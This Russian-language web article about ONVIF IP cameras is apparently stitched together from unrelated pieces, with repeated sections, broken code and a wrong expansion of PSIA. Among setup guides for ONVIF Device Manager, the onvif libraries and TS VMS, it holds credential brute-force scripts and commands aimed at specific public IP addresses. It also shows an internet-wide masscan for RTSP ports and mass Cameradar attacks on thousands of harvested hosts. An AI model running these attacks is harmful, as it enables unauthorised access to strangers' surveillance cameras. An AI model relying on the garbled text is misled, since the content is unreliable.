Как узнать ip адрес камеры

Описание и возможности

Приложение поддерживает устройства, работающие по протоколу ONVIF. Через утилиту можно управлять IP-камерами, видеорегистраторами и удаленно транслировать видео. Поддерживается добавление группы устройств и быстрое переключение между ними. Рассмотрим основные функции:

  • автоматический поиск устройств;
  • подключение по логину и паролю;
  • показ «живого» видео;
  • конфигурирование видеозахвата, сервера, аналитики;
  • работа с метаданными и событиями;
  • определение тревожных событий и оповещений;
  • автоматическое обновление ПО;
  • настройка триггеров по событиям;
  • управление локальной сетью, сетевой записью;
  • изменение параметров изображения;
  • подключение сторонних плагинов.

Утилита поддерживает следующие типы устройств:

  • NVD – устройства, получающие видеопоток по сети;
  • NVT – IP-камеры и кодировщики;
  • NVA – устройство с поддержкой обработки данных и аналитики;
  • NVS – девайс с записью типа NVT, но с дополнением в качестве профиля G.

Discovery

Since 0.2.7 version library supports WS-Discovery of NVT devices. Currently it uses only SOAP method that just works well.
You can find devices in your subnetwork using method of the Discovery singleton.
Discovery is an EventEmitter inheritor, so you can wait until discovery timeout, or subscribe on event.
Here some examples:

var onvif = require('onvif');
onvif.Discovery.on('device', function(cam){
// function will be called as soon as NVT responses
	cam.username = <USERNAME>;
	cam.password = <PASSWORD>;
	cam.connect(console.log);
})
onvif.Discovery.probe();
var onvif = require('onvif');
onvif.Discovery.probe(function(err, cams) {
// function will be called only after timeout (5 sec by default)
	if (err) { throw err; }
	cams.forEach(function(cam) {
		cam.username = <USERNAME>;
		cam.password = <PASSWORD>;
		cam.connect(console.log);
	});
});

In all of that cases you’ve got disconnected cameras. To access each camera (and issue ONVIF commands) you normally need
the tuple . So, as shown in the examples, you can assign these properties and call method to
get full functionality.

Discovery.probe(options, callback)

Options

  • , number. Time the probe method will wait NVT responses in ms
  • , boolean. If this argument is false, all discovered NVTs would be presented as data object instead of Cam instance

Discovery events

  • fires on device discover. is a Cam instance, remoteInfo is an object with network information
    and responseXML is a body of SOAP response
  • fires on some UDP error or on bad SOAP response from NVT

ONVIF Device Manager — программа для видеоаналитики. Инструкция. Скачать

Менеджер устройств ONVIF (ONVIF Device Manager — onvifdm) — открытая реализация клиента (приемной части) системы охранного видеонаблюдения на базе международного стандарта ONVIF.

Скачать программу можно перейдя по этой ссылке.

В состав приложения входит библиотека ONVIF, которая позволяет взаимодействовать с сетевыми устройствами, такими как IP-камеры, видеоэнкодеры, считыватели ключей, турникеты, датчики дыма.

Менеджер устройств ONVIF и библиотека могут быть использованы при разработке коммерческого или любительского ПО, например, для удаленного наблюдения за коттеджем, определения длины очереди в магазине и т.д.

По типу устройств ONVIF подразделяется на несколько профилей:

  1. S — профиль IP камер, кодировщиков, других IP видео устройств (потоковое аудио и видео, управление параметрами потока, изображения и вещания);
  2. C — профиль систем контроля доступа основанных на IP (сигнализация, блокировка, разблокировка дверей и т.п.);
  3. Q — профиль упрощенного механизма настройки и расширенной безопасности (настройка устройств, обновление, NTP, SSL, мониторинг)
  4. G — профиль сетевых видеорегистраторов (NVR), систем управления зданиями и PSIM (управление и контроль записи, передача аудио и мета-информации);

Устройство поддерживающее ONVIF может поддерживать несколько профилей. Например камера с функцией записи может поддерживать профили S и G.

«Менеджер устройств ONVIF» используется для администрирования и настройки видеоаналитики сетевых видеосерверов и камер в составе систем охранного телевидения.

Системыные требования:

Операционная система Windows XP SP3 или выше (рекомендуется Windows 7) Пакет Microsoft .NET Framework 4 Оперативная память 1 Гб (рекомендуется 2 Гб) Свободное дисковое пространство 40 Мб

Описанный функционал

Функционал приложения разработан в соответствии со спецификациями ONVIF, благодаря чему оно поддерживает большое количество ONVIF-совместимых устройств разных производителей. Настоящее руководство описывает весь функционал приложения, не зависимо от того, поддерживается ли он конктретным сетевым устройством.

Например, руководство описывает управление PTZ камерой, а видеосервер клиента не поддерживает данный функционал.

Любое устройство поддерживающее ONVIF поддерживает функции ядра, а дальше есть различия по назначению, например у регистратора нет поддержки PTZ и Door Control.

Поддержка сервисов по типам устройств:

  • NVD (Network video display) — устройства получающее видео изображение по сети и отображающее ее (Core, Streaming, Receiver, Display, Device IO);
  • NVT (Network video transmitter) — IP камера или кодировщик (Core, Media, Streaming, Device IO, Imaging, PTZ, Analytics);
  • NVA (Network video analytics) — устройство поддерживающее обработку информации, аналитику и передачу meta информации (Core, Streaming, Receiver, Analytics, Video Analytics Device, Device IO);
  • NVS (Network video storage) — устройства записи с NVT, как правило с поддержкой профиль G (Core, Streaming, Recording Search, Replay Control, Device IO, Receiver, Recording Control);

Инструкция по работе с программой представлена ниже в листающемся PDF файле. Если он не отображается, перезагрузите страницу сайта.

ONVIF Device Manager

20, Октябрь, 2018|Программы для видеонаблюдения|

Как пользоваться

Разберемся, как скачивать и устанавливать софт. Также остановимся подробнее на использовании.

Загрузка и установка

Переходите к концу страницы и загружайте архив с установщиком. После распаковки на жесткий диск запустите инсталлятор двойным кликом и сделайте следующее:

  1. На начальном экране нажмите кнопку продолжения.

  1. Нажмите кнопку Install.

  1. Подождите завершения процедуры и закройте данное окно.

Инструкция по работе

При первом запуске необходимо дать разрешение доступа со стороны брандмауэра Windows. Затем откройте настройки и в поле Language выберите вариант «Русский». Примените новые настройки, чтобы интерфейс перевелся на русский язык. Сначала вам нужно ввести логин и пароль, затем нажать кнопку «Войти». После этого слева появится список регистраторов и камер, подключенных к вашей сети.

Если видеосервер не передает изображение, то через окно настроек активируйте параметр «Включить получение снимков экрана». Теперь вы можете выбирать отдельное устройство и пользоваться функциями утилиты. Набор возможностей зависит от типа оборудования для съемки. Часть параметров доступна только при входе через браузер.

Установим библиотеку onvif

$ pwd
onvif_cameras
$ virtualenv -ppython2.7 env
$ source envbinactivate
(env)$ pip install onvif

Находимся в директории /onvif_cameras/
Виртуальное окружение /onvif_cameras/env/
Важно! Путь к виртуальному окружению необходим поскольку при установке onvif скачивается пространства имен, схемы данных в папку wsdl

onvif_camerasenvwsdl$ ls

accesscontrol.wsdl     deviceio.wsdl     onvif.xsd             t-1.xsd
actionengine.wsdl      devicemgmt.wsdl   ptz.wsdl              types.xsd
addressing             display.wsdl      r-2.xsd               ws-addr.xsd
advancedsecurity.wsdl  doorcontrol.wsdl  receiver.wsdl         ws-discovery.xsd
analyticsdevice.wsdl   envelope          recording.wsdl        xmlmime
analytics.wsdl         events.wsdl       remotediscovery.wsdl  xml.xsd
b-2.xsd                imaging.wsdl      replay.wsdl
bf-2.xsd               include           rw-2.wsdl
bw-2.wsdl              media.wsdl        search.wsdl

Совместимость ONVIF оборудования

В отличии от аналогового оборудования которое никогда не нуждалось в техническом совмещении, а вся настройка подобной системы заключалась лишь в правильном обжатии кабеля под BNC разъем и подключении этих самых разъемов к камере и видеорегистратору или к плате захвата, ip системы нуждались в постоянном программном преобразовании для адаптации с другими ip устройствами.

Вместе с модернизацией технических составляющих ip камер таких как:

  • — Разрешение
  • — Кодеки сжатия
  • — Усовершенствование технологии детектора движения
  • — Управления ptz видеокамер
  • — Тревожные входы
  • — Работы в сжатых и основных потоках

Требовалась модернизация и самого Onvif протокола, что привело к выпуску различных версий:

  • — ONVIF 1.0 — Первый протокол 2008 года.
  • — ONVIF 2.0 — Дата создания 2010 год.
  • — ONVIF 2.2 — 2012 год.
  • — ONVIF 2.4 — 2013 год.
  • — ONVIF 2.5 — 2014 год.

Работа по протоколу Onvif хоть и означает стандарт совместимости, но это не всегда так. Например при попытке подключения старой ip камеры версии 1.0 к более современному видеорегистратору с onvif 2.0, регистратор просто навсего не увидит камеру внутри сети. Причина в недоработке совмещения по различным архитектурным принципам.

Поэтому было принято решение о создания специально профиля, который позволял произвести плавный переход между двумя версиями протокола.

S Profile позволил создать некий стандарт взаимодействия ip камер с видеопотоком, воспроизведением, управлением записи и.тд

Onvif IP камера в ПО ИнтеллектOnvif IP камера в ПО Интеллект

Особенности общего стандарта безопасности

Разработка единого протокола для IP-камер была начата в 2008 году. Производители “Сони”, Bosch и Axis сделали стандарт, который был назван ONVIF (Open Network Video Interface Forum). Этот протокол предназначен для решения проблем, которые связаны с несовместимостью оборудования от разнообразных изготовителей. Теперь создать систему видеонаблюдения с помощью IP-камер можно было без особых проблем.

Open Network Video Interface Forum отличается специальным интерфейсом цифрового типа. Он объединяет множество форм взаимодействия устройств от разнообразных компаний-производителей:

  • Сжимаются и передаются аудио- и видеопотоки.
  • Настраивается потоковая передача информации.
  • Осуществляется видеоаналитика.
  • Своевременно обнаруживаются IP-устройства, которые включены в общую систему.
  • Регулируются профили работы камер видеонаблюдения.
  • Имеется возможность управления поворотными камерами.
  • Предусмотрены входы и выходы, предназначенные для подключения датчиков тревоги.
  • Оборудование реагирует на движения.
  • Обеспечивается кодирование поступающей и передаваемой информации.

Ежегодно протокол ONVIF обновлялся и усовершенствовался. В настоящее время имеется несколько стандартных версий, которые отличаются функциональностью.

Какие бывают профили ONVIF?

При создании стандарта ONVIF (на первоначальном этапе) основатели протокола столкнулись с определенными трудностями. Они были вызваны несовместимостью оборудования при использовании различных версий протокола. Именно поэтому производители приняли решение разработать специальную концепцию, которая получила название Profiles.

Концепция подразумевала разделение различных версий этого стандарта на профили. Они нужны для упрощения проведения проверок совместимости используемых приборов. Создать систему IP-видеонаблюдения можно было без анализа технических характеристик каждого устройства.

В настоящее время потребителям представлено шесть профилей стандарта ONVIF. Необходимо заметить, что последний из них находится на стадии диагностики. Создатели проверяют и исправляют ошибки, которые возникают в ходе его использования.

Стоит рассмотреть основные разновидности профилей стандарта ONVIF:

  • «Q». Этот профиль применяется для регулировки ключей доступа и специальных TLS-сертификатов. Он позволяет быстро установить совместимое оборудование.
  • «G». Такой профиль был разработан следующим. Он позволил организовать локальное хранение данных, поиск и извлечение информации из устройств. С помощью профиля можно настроить фильтры, чтобы поиск стал максимально эффективным.
  • «C». Такой профиль предназначен для синхронизации устройств СКУД, упрощения управления их функционалом. Профиль «С» поддерживает интеграцию между оборудованием и физической системой контроля доступа. Появилась возможность синхронизировать СКУД и сетевые видеосистемы. Профиль позволяет узнать точную информацию о точках доступа и работоспособности входов и выходов.
  • «S». Этот профиль обеспечивает нормальную работу потокового IP-видеонаблюдения. Именно он позволил синхронизировать версии протоколов 1.0 и 2.0. Они стали совместимыми, ранее добиться этого не было возможным.
  • «A». Главная цель эксплуатации такого профиля – осуществление конфигурации при повседневном контроле доступа.
  • «T». Его использование ориентировано на алгоритмизацию при обработке различных изображений.

Именно профили ONVIF дали возможность с легкостью определять функциональность устройств, совместимость их с иными типами оборудования без проведения предварительного анализа данных. Профили существенно упростили процесс создания эффективных систем видеонаблюдения.

Чем отличается ONVIF от PSIA?

Протокол PSIA – это еще один стандарт, использование которого нацелено на решение проблем несовместимости. Он позволяет синхронизировать между собой различное IP-оборудование – камеры, датчика, системы КУД, устройства для видеоаналитики и управления информационной безопасностью.

Основная проблема стандарта PSIA – низкая популярность среди производителей оборудования для систем IP-наблюдения. В настоящее время количество организаций подключенных к протоколу PSIA составляет чуть более пятидесяти. Нужно заметить, что стандартом ONVIF пользуется более 500 фирм. Они реализуют более 5 тысяч наименований техники, которые поддерживают этот протокол.

Профили ONVIF

На начальном этапе работы стандарта ONVIF возникли определенные трудности, вызванные несовместимостью различных версий протокола. В связи с этим была принята концепция «profiles», которая подразумевает разделение версий ONVIF протокола на определенные профили для упрощения проверки соответствия оборудования для IP видеонаблюдения без необходимости анализа технических деталей устройств.

Основные профили стандарта ONVIF

На сегодняшний день существует 6 профилей стандарта ONVIF, последний из которых находится пока в стадии тестирования:

  1. Profile Q – необходим для управления ключами доступа и TLS сертификатами и быстрой установки совместимого оборудования;
  2. Profile G – с появлением данного профиля стало возможным локальное хранение, поиск и извлечение данных, настройка фильтров для более эффективного поиска, и т. д.

  3. Profile C – необходим для объединения устройств СКУД и управления их основными функциями. Поддерживает интеграцию с физической системой контроля доступа, с возможностью взаимодействия между СКУД и сетевыми видеосистемами. Благодаря данному профилю можно узнать информацию о точках доступа и состоянии двери (открыта или закрыта), а также другую информацию, связанную с основными направлениями деятельности управления дверьми – запирание и отпирание дверей, время открытия и закрытия двери и т. д.;

  4. Profile S – ориентирован на системы потокового IP видеонаблюдения. После выхода данного профиля версии ONVIF 1.0 и 2.0 стали полностью совместимы между собой;

  5. Profile A – осуществление конфигурации повседневного контроля доступа, окончание реализации намечено на конец 2016 года;
  6. Profile T – ориентирован на алгоритмизацию обработки видеоизображений, пока находится на стадии разработки, окончательное введение планируется на 2018 год.

Итак, принятие профилей ONVIF позволило легко определять функции, поддерживаемые тем или иным устройством без необходимости анализа совместимости между версиями ONVIF.

Проблемы с совместимостью

Несмотря на то, что производители оборудования утверждают, что оно совместимо со стандартом ONVIF, иногда возникают определенные проблемы. Например, при попытке установки и настройки камер видеонаблюдения, обнаруживается, что видеорегистратор напрочь отказывается их видеть, находясь при этом в той же локальной сети, либо не работает датчик движения или любые другие программные функции. С чем же связаны подобные трудности?

Во-первых, вы должны полностью удостовериться, что все ваши устройства действительно поддерживают ONVIF протокол. Некоторые производители часто отмечают свои продукты, как совместимые с ONVIF протоколом, хотя на деле оказывается, что это далеко не так. Для минимизации риска несовместимости лучше всего использовать оборудование для видеонаблюдения от производителей, имеющих официальное членство в ONVIF.

Во-вторых, несовместимость может вызываться различием профилей оборудования. Одна только поддержка ONVIF еще не означает, что устройства будут совместимы между собой. Для полной уверенности необходимо убедиться, что все оборудование вашей системы поддерживает Profile S, так как наличие поддержки данного профиля увеличивает вероятность совместимости по всем основным параметрам любой версии ONVIF.

С этим читают:

Камеры видеонаблюдения с высоким разрешением записи

PTZ камеры видеонаблюдения — управление, характеристики и особенности

Как настроить DDNS для видеонаблюдения?

Панорамные камеры видеонаблюдения: особенности использования, и популярные модели

Брут-форс камер через ONVIF

Для некоторых хостов скрипт extractor.py будет выдавать примерно следующие ошибки:

zeep.exceptions.Fault: Sender not Authorized
During handling of the above exception, another exception occurred:
onvif.exceptions.ONVIFError: Unknown error: Sender not Authorized

Они означают, что пустые логин и пароль не подходят и нужно указать действительные учётные данные.

Используя это можно написать скрипты для брут-форса учётных данных IP камер. Преимущество этого метода по сравнению с Cameradar в том, что не нужно искать URI медиа потока.

Создадим файл bruteforcer.py и скопируем в него:

import sys
from onvif import ONVIFCamera

if len(sys.argv) < 4:
	user = ''
else:
	user = sys.argv

if len(sys.argv) < 5:
	password = ''
else:
	password = sys.argv 		

mycam = ONVIFCamera(sys.argv, sys.argv, user, password, '/usr/local/lib/python3.9/site-packages/wsdl/')

resp = mycam.devicemgmt.GetDeviceInformation()
print (str(resp))

На самом деле, это упрощённый вариант скрипта extractor.py — чтобы понять, что учётные данные неправильные, нам не нужно делать три запроса, достаточно одного.

Пример запуска:

python3 bruteforcer.py ХОСТ ПОРТ ПОЛЬЗОВАТЕЛЬ ПАРОЛЬ

Если к команде добавить «2>/dev/null», то мы не увидим ошибки — в случае успешной аутентификации будут выведены только данные об устройстве:

python3 bruteforcer.py ХОСТ ПОРТ ПОЛЬЗОВАТЕЛЬ ПАРОЛЬ 2>/dev/null

Пример брут-форса логина и пароля IP камеры с помощью Parallel:

parallel -j2 -a usernames.txt -a passwords.txt 'python3 bruteforcer.py 103.96.7.96 80 2>/dev/null {1} {2}'

Отличие ONVIF от PSIA

Здравая конкуренция – это всегда хорошо. Конкуренты стимулируют друг друга, соревнуются, а рынок тем временем пожинает хорошие плоды этого противостояния. Так вот, у ONVIF тоже имеется конкурент. Имя ему Public Security Investigative Agency (PSIA). Он начал свое развитие параллельно оговорённому протоколу в 2008 году, разработав собственную, более расширенную версию стандарта.

PSIA существует до сих пор, найти полноценную информацию о нем можно на сайте psialliance.org. К сожалению, в борьбе за первенство стандарт проигрывает, потому как количество работающих с ним компаний достигает до 50 штук. По сравнению с консорциумом в более чем 5000 компаний и выпускаемой их продукцией, ONFIV, если его поставить в ряд с PSIA, выглядит как Гулливер.

Что такое и для чего протокол RTSP

Потоковый протокол реального времени (англ. real time streaming protocol, сокр. RTSP) — прикладной протокол, предназначенный для использования в системах, работающих с мультимедийными данными (мультимедийным содержимым, медиасодержимым), и позволяющий удалённо управлять потоком данных с сервера, предоставляя возможность выполнения команд, таких как запуск (старт), приостановку (пауза) и остановку (стоп) вещания (проигрывания) мультимедийного содержимого, а также доступа по времени к файлам, расположенным на сервере.

RTSP не выполняет сжатие, а также не определяет метод инкапсуляции мультимедийных данных и транспортные протоколы. Передача потоковых данных сама по себе не является частью протокола RTSP. Большинство серверов RTSP используют для этого стандартный транспортный протокол реального времени, осуществляющий передачу аудио- и видеоданных.

Протокол RTSP можно найти не только в IP камерах, другие устройства также могут использовать этот протокол для стриминга медиа (видео и аудио).

Для воспроизведения видео по протоколу RTSP нужно знать URL источника, а также логин и пароль.

Пример адреса:

rtsp://118.39.210.69/rtsp_tunnel?h26x=4&line=1&inst=1

Некоторые RTSP серверы настроены разрешать доступ к медиапотоку без пароля.

URL адрес медиапотока не является стандартным, устройства присылают его при подключении после авторизации.

Обычно RTSP работает на портах 554, 5554 и 8554.

Видео с IP камер по протоколу RTSP можно открыть в VLC и Mplayer. Как это сделать написано в статье «Как записать видео с IP камеры (RTSP поток)». Там же показано, как записать потоковое видео.

Проигрыватели VLC и Mplayer умеют работать с данным протоколом благодаря утилите openRTSP, более подробную информацию о ней вы найдёте в статье «Инструкция по openRTSP — клиент RTSP для приёма и записи потокового медиа».

Брут-форс RTSP

Как уже было сказано, URI (адрес «страницы») по которому доступен медиапоток различается у разных устройств. То есть если у вас отсутствуют учётные данные для аутентификации по протоколу RTSP, то для получения маршрута (URL) медиапотока вам придётся искать его перебором.

Программа Cameradar умеет искать адрес источника и подбирать пароль пользователя. Как сказано в описании, Cameradar взламывает RTSP камеры видеонаблюдения.

Cameradar позволяет:

  • Обнаруживать открытые порты RTSP на любом доступном целевом хосте
  • Определять, какая модель устройства ведёт трансляцию
  • Запускать автоматические атаки по словарю, чтобы найти маршрут их потока (например: /live.sdp)
  • Запускать автоматические атаки по словарю, чтобы подобрать имя пользователя и пароль камеры
  • Получать полный и удобный отчёт о результатах

Об установке программы смотрите на странице https://kali.tools/?p=6132

Запуск очень простой:

cameradar -t ХОСТ

Опция «-t, —targets» устанавливает цель. Целью может быть файл со списком хостов или диапазонов сетей, IP-адрес, диапазон IP-адресов, подсеть или их сочетание. Пример: —targets=»192.168.1.72,192.168.1.74″

Программа делает множество запросов и если какие-то из них завершаются ошибками, то выводит эти ошибки на экран, в результате чего вывод захламляется, поэтому я предпочитаю добавлять к команде «2>/dev/null».

Примеры удачных запусков:

cameradar -t 201.191.170.250 2>/dev/null

cameradar -t 98.124.38.218 2>/dev/null

Я не нашёл альтернатив Cameradar, поэтому рассказываю о ней, но в целом эта программа мне не очень понравилась. Нестабильные результаты, которые различаются от запуска к запуску на одном и том же хосте, можно объяснить особенностями самих камер, которые являются маломощными, глючными устройствами. Но Cameradar ещё и фантастически медленная. На «сканирование сети» даже если указана одна цель уходит слишком много времени (по умолчанию проверяется всего три порта). В описании программы упоминается «nmap», но это собственная библиотека автора Cameradar, она написана на Go и не имеет к оригинальному сканеру сети Nmap отношения — возможно, это причина такой медлительности.

По причине медлительности, я бы не стал вводить в Cameradar большие диапазоны сетей, так как все результаты программа выводит по завершению работы, если не дождаться завершения, то все результаты будут потеряны.

Просканировать сеть, чтобы собрать цели для Cameradar, можно, например, с помощью Masscan:

sudo masscan 0.0.0.0/0 --exclude 255.255.255.255 --randomize-hosts --rate 200 -p 554,5554,8554 --output-filename cameras.xml

Следующие команды создают директорию «camera» и отфильтровывают все IP адреса из файлов вида cameras*.xml в файл camera/hosts.txt.

mkdir camera
cat cameras*.xml | grep -o -E '{1,}\.{1,}\.{1,}\.{1,}' | sort | uniq > camera/hosts.txt

Подсчёт количества IP адресов, на которых открыт хотя бы один порт из 554, 5554 и 855.

cat camera/hosts.txt | wc -l
10955

Cameradar потребляет минимум ресурсов, поэтому проверку камер можно запустить в несколько потоков с помощью Interlace:

cd camera
mkdir results
interlace -tL ./hosts.txt -threads 20 -c "cameradar -t _target_ 2>/dev/null >results/_target_-cameradar.txt" -v

Если в файле hosts.txt слишком много хостов, то их можно разбить на файлы с помощью команды split:

split -l 1000 hosts.txt

Связанная статья: Как разбить большой файл (текстовый или бинарный) на файлы меньшего размера

Для поиска успешных результатов можно использовать команды:

cd results
cat * | grep -E -H 'Successful' *
cat ` grep -E -H 'require' * | grep -o -E '^+'`
cat * | grep -E -H 'Device RTSP URL' *

cat * | grep -E -H » *

Эта команда составит список моделей:

cat * | grep 'Device model' | sort | uniq

Создание единого стандарта безопасности для IP камер

Протокол ONVIF получил стандартизированный цифровой интерфейс, заключающийся в совокупности средств, методов и правил взаимодействия между элементами системы видеонаблюдения.

Несмотря на все преимущества стандартов onvif, пользователи периодически сталкиваются с различными трудностями, к примеру, ip-камера не обнаруживается видеорегистратором одной локальной сети

Этот стандарт объединил такие возможности:

  • регулирование непрерывной передачи данных;
  • сжатие и передача аудио- и видеопотока;
  • автоматизированное получение различной информации на основании анализа последовательности изображений;
  • управление профилей функционирования камеры;
  • обнаружение устройств с межсетевым протоколом;
  • контроль камер, поддерживающих удаленную регулировку направления и зума;
  • индикация перемещения;
  • разъемы для включения сигнализационных приборов;
  • система программно-аппаратных технических средств безопасности.

TS VMS — программа для видеонаблюдения. Инструкция. Скачать

TS VMS – программа для управления сетевыми видео устройствами TANTOS серий Eco и Norma.

Скачать программу с Google Play можно здесь, с APP Store — здесь.

TS VMS позволяет подключаться к оборудованию как по IP адресу, так и через облачный сервис vms.tantos.pro.

Кроме того, TS VMS поддерживает и другие регистраторы и IP камеры Tantos, но только при подключении по прямому IP адресу.

TS VMS HD обеспечивает просмотр видео и прослушивание аудио сигналов в режиме реального времени, а также воспроизведение записей из архива устройства.

Просмотр видео возможен в мульти экранном и в полноэкранном режимах. Функции локальной записи служат для сохранения видео кадров, а также видео и аудио записей в память телефона.

Функции управления PTZ устройствами с использованием привычных интерфейсов телефона позволят с легкостью управлять поворотным IP камерами.

Настройка TS VMS

Запускаем приложение, проходим регистрацию если в планах в дальнейшем есть желание осуществлять удаленный просмотр через клиент сайт http://vms.tantos.pro. Если такой задачи не стоит то жмем «Вход без логина»

На основном экране воспроизведения в левом верхнем углу раскрываем вкладку дополнительных настроек.

Переходи на вкладку «Устройство».

Для добавления нового устройства: видеокамеры или видеорегистратора в правом верхнем углу жмем ⊕.

Ручное добавление — ввод необходимых настроек вручную.

Онлайн устройства — поиск оборудования Tantos внутри wi-fi сети.

При добавлении видеорегистратора мы выбрали «Режим регистрации» — P2P для добавления по уникальному серийному номеру, который можно найти в настройках устройства.

Имя устройства — Любое произвольное значение

ID устройства — уникальный p2p номер идентификатор

Пользователь — Логин учетной записи Вашего устройства, (по умолчанию Admin)

Пароль — Пароль от учетки Вашего устройства ( по умолчанию его нет)

Каналов — выставляется автоматически при добавлении.

Просмотр — Выбор потока вещания в онлайне, по умолчанию он вторичный, т.е сжатый, если у Вашего интернет соединения на стороне устройства высокоя скорость, то можно изменить на «Основной».

Воспроизведение — Выбор потока вещания при воспроизведении.

После всех манипуляций жмем на значок дискета.

И вы можете просматривать видео с камер наблюдения.

Также как производить настройки программы Вы можете посмотреть на видео ниже.

https://youtube.com/watch?v=4vJzCXdZ6d8

26, Ноябрь, 2018|Программы для видеонаблюдения|

Проблемы совместимости

Производители, состоящие в качестве мемберов сообщества ONVIF, утверждают, что, приобретая их продукцию вы избавите себя от возможных неприятных последствий в виде несовместимости программного обеспечения и продукции. К сожалению, из каждого правила есть исключение и при проработке собственных систем IP-видеонаблюдения есть вероятность столкнуться с трудностями.

Основная проблема выглядит так – во время монтажа и настройки камеры IP-наблюдения выяснится, что видеорегистратор не обнаруживает подключенное устройство. Хотя причин тому быть не может, так как оба девайса подключены к единой сети. Проблемы могут проявиться из-за различных причин:

Типы профилей ONVIF

На ранних этапах разработки протокола ONVIF возникали некоторые трудности, которые были связаны с несовместимостью разных версий. Для решения этой проблемы специалисты начали работать над концепцией «профилей». Она позволила разделить различные версий программы на конкретные профайлы. Это упростило проверочные мероприятия, направленные на контроль соответствия IP устройств для видеонаблюдения. При этом они не подвергаются анализу технических деталей.

Так, разработчики уже успели выпустить протоколы по таким профилям:

  • Profile Q удовлетворяет требованиям, связанным со взаимодействием устройств «из коробки». Он работает по стандарту, обеспечивающему простую совместимость. Дополнением является упрощенный процесс регулировки базовых опций технических средств и расширенный функционал безопасности. Представленный профайл участвует в управлении TLS-сертификатами и ключами доступа.
  • Profile C разработан специально для СКУД. Он позволяет произвести объединение технических средств, участвующих в системах управления, а также регулировать их основные функции. Представленный профиль способствует объединению устройств с системой контроля доступа. Он обеспечивает совместимость между СКУД и видеокамерами, входящими в сетевую систему. Профиль C открывает доступ к информации о состоянии дверей и управлению ими.
  • Profile S разработан специально для видеоисточников. Он используется в охранных комплексах, применяющих потоковые IP-камеры видеонаблюдения. Представленный профайл позволил совмещать 1.0 и 2.0 версии ONVIF. Его спецификации рассчитаны на такие аспекты работы камер с системами видеорегистрации:

На сегодняшний день существует 6 профилей стандарта ONVIF, последний из которых находится пока в стадии тестирования

  1. настройка сетевого интерфейса;
  2. выявление устройств по сетевому протоколу, позволяющему в автоматическом режиме находить технику и сервисы, входящие в компьютерную сеть;
  3. регулирование функционирующих профилей видеоустройства;
  4. контроль передачи потокового видео;
  5. анализ и хранение информации о событиях;
  6. контроль над приводом Pan-tilt-zoom-камеры, поддерживающей удаленное управление направлением и зумом;
  7. шифрование данных и защита от несанкционированного доступа к информации.
  • Profile G используется для техники, производящей запись видео. Он позволяет производить как поиск и извлечение, так и хранение информации. С его применением стала доступна регулировка фильтров, что упрощает эффективный поиск данных.
  • Profile A направлен на регулярное произведение настроек контроля доступа.
  • Profile T предоставляет набор инструкций, описывающих порядок действий исполнителя для обработки видеопотока. Этот профиль на данный момент находится на стадии доработки. Его релиз запланирован на 2018 год.

Возможные сложности при подключении

Если во время настройки подключения видеонаблюдения к интернету возникают те или иные трудности, то следует на время отключить антивирусную защиту и firewall.

При подключении видеорегистратора в первую очередь настраиваются сетевые параметры. Для изменения базовых настроек потребуется ввести логин и пароль.

Обычно они уже предустановлены производителем, но для обеспечения безопасности рекомендуется сразу же после настройки заменить их на собственные.

Если получение статичного IP-адреса у провайдера по тем или иным причинам представляется невозможным, то для динамического адреса (меняющегося при каждом подключении к сети) можно использовать службу DynDNS.

Пользование этим сервером может быть как бесплатным, так и платным — это зависит от коммерческой политики фирмы-роутера.

Мобильное видеонаблюдение через 3G, 4G, GPRS является не таким надежным по сравнению с соединением посредством сетевого оптоволоконного или медного кабеля через Ethernet.

Это возникает из-за большой асимметрии при приеме и передаче входящих и исходящих цифровых данных.

Кроме того, не каждый видеорегистратор или IP-камера совместимы с мобильными модемами. К тому же это существенно увеличивает стоимость подключения из-за необходимости приобретения дополнительного оборудования и ПО.

Система подразумевает возможность просмотра видео с IP камеры или регистратора несколькими пользователями — например, обоими супругами для контроля обстановки в квартире или несколькими служащими за наблюдением за офисом или производственным помещением.

При этом возможно установка нескольких вариантов уровня доступа. Например, для наблюдения за складом доступ может быть у директора предприятия, зав. складом и еще у одного-двух ответственных работников.

Если в работе находится одна или две камеры, то можно воспользоваться услугами IP сервера Ivideon. Он позволяет просматривать видео на любом отдалении от самой системы наблюдения. Для этого нужно просто зарегистрироваться на сервере.

В настоящее время это бесплатно. Никакой абонентской платы пока не требуется. Достаточно просто зарегистрировать в службе обе свои камеры. Если у пользователя больше, чем две камеры, то коммерческое пользование все равно является очень доступным.

Оцените статью
Рейтинг автора
5
Материал подготовил
Илья Коршунов
Наш эксперт
Написано статей
134
Добавить комментарий